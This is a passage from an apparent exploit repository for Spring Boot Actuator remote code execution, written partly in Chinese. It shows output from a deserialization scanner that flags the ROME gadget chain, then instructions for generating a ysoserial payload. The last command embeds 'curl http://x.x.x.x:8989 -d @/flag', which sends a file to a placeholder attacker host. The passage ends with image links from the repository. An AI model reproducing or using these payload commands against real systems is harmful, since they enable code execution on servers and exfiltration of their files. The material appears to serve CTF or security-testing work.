VULNERABLE!!! 372 | Apache Commons Collections 4 Alternate payload (Sleep): NOT vulnerable. 373 | Java 8 (up to Jdk8u20) (Sleep): NOT vulnerable. 374 | Java 6 and Java 7 (up to Jdk7u21) (Sleep): NOT vulnerable. 375 | Hibernate 5 (Sleep): NOT vulnerable. 376 | Commons BeanUtils (Sleep): NOT vulnerable. 377 | Apache Commons Collections 3 Alternate payload 3 (Sleep): NOT vulnerable. 378 | Spring (Sleep): NOT vulnerable. 379 | Apache Commons Collections 3 Alternate payload (Sleep): NOT vulnerable. 380 | END 381 | IMPORTANT NOTE: High delayed networks may produce false positives! 382 | ``` 383 | 384 | 其中,`ROME (Sleep): Potentially VULNERABLE!!!` 标红 385 | 386 | ## 0x08 利用ysoserial 生成payload 387 | 388 | `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ` 389 | 390 | `ROME @mbechler rome:1.0 ` 391 | 392 | `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://x.x.x.x:8989 -d @/flag" > flag.bin` 393 | 394 | 395 | -------------------------------------------------------------------------------- /yaml_refresh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/yaml_refresh.png -------------------------------------------------------------------------------- /yaml_success.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/yaml_success.png -------------------------------------------------------------------------------- /yml.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jas502n/SpringBoot_Actuator_RCE/30a8ca6bd687584946adcc41c8d8822496f5d0e4/yml.png --------------------------------------------------------------------------------